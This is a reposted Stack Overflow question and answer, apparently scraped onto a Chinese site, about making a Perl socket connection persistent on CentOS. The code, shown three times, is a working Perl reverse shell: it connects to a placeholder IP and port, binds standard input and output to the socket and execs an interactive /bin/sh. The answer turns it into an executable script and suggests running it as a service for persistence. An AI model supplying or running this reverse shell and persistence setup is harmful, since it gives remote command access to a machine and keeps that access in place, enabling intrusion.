gpt4 book ai didi

linux - 如何在Perl上创建持久套接字连接?

转载 作者:行者123 更新时间:2023-12-03 11:59:09 24 4
gpt4 key购买 nike

我正在学习Perl,我有两个Linux系统(服务器/客户端)。我想通过带有反向套接字连接的Perl连接它们。

我这样做的方法是在服务器端使用以下命令:

perl -e 'use Socket;
$i="**iphere**";
$p=**porthere**;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};'

效果很好,但我想使其按时保持不变。也许执行一些延迟的脚本。

服务器系统是CentOS。

任何的想法?

最佳答案

好吧,第一步是将您的命令行脚本转换成一个真实的程序。将其放在一个名为my_server的文件中,并像这样重新格式化(以使其易于维护)。

use Socket;

$i = "**iphere**";
$p = **porthere**;

socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));

if (connect(S, sockaddr_in($p, inet_aton($i)))) {
open(STDIN, ">&S");
open(STDOUT, ">&S");
open(STDERR, ">&S");
exec("/bin/sh -i");
}

现在,您可以通过在命令行中键入 perl my_server来运行它。通过添加shebang行并使之可执行,我们可以使其看起来更像命令。在这一点上,我还将添加Perl的安全网 use strictuse warnings(您应该始终在Perl代码中拥有它们),它们将要求我们使用 my定义变量。
#!/usr/bin/env perl

use strict;
use warnings;

use Socket;

my $i = "**iphere**";
my $p = **porthere**;

socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));

if (connect(S, sockaddr_in($p, inet_aton($i)))) {
open(STDIN, ">&S");
open(STDOUT, ">&S");
open(STDERR, ">&S");
exec("/bin/sh -i");
}

如果现在使该可执行文件( chmod +x my_server),我们现在可以通过在命令行上键入程序的名称( my_server)来运行它。

下一步将是使其成为一项适当的服务,您可以使用操作系统的 native 服务功能来启动,停止和监视该服务。我没有时间详细介绍它,但是我正在研究 Daemon::Control

关于linux - 如何在Perl上创建持久套接字连接?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/59411530/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com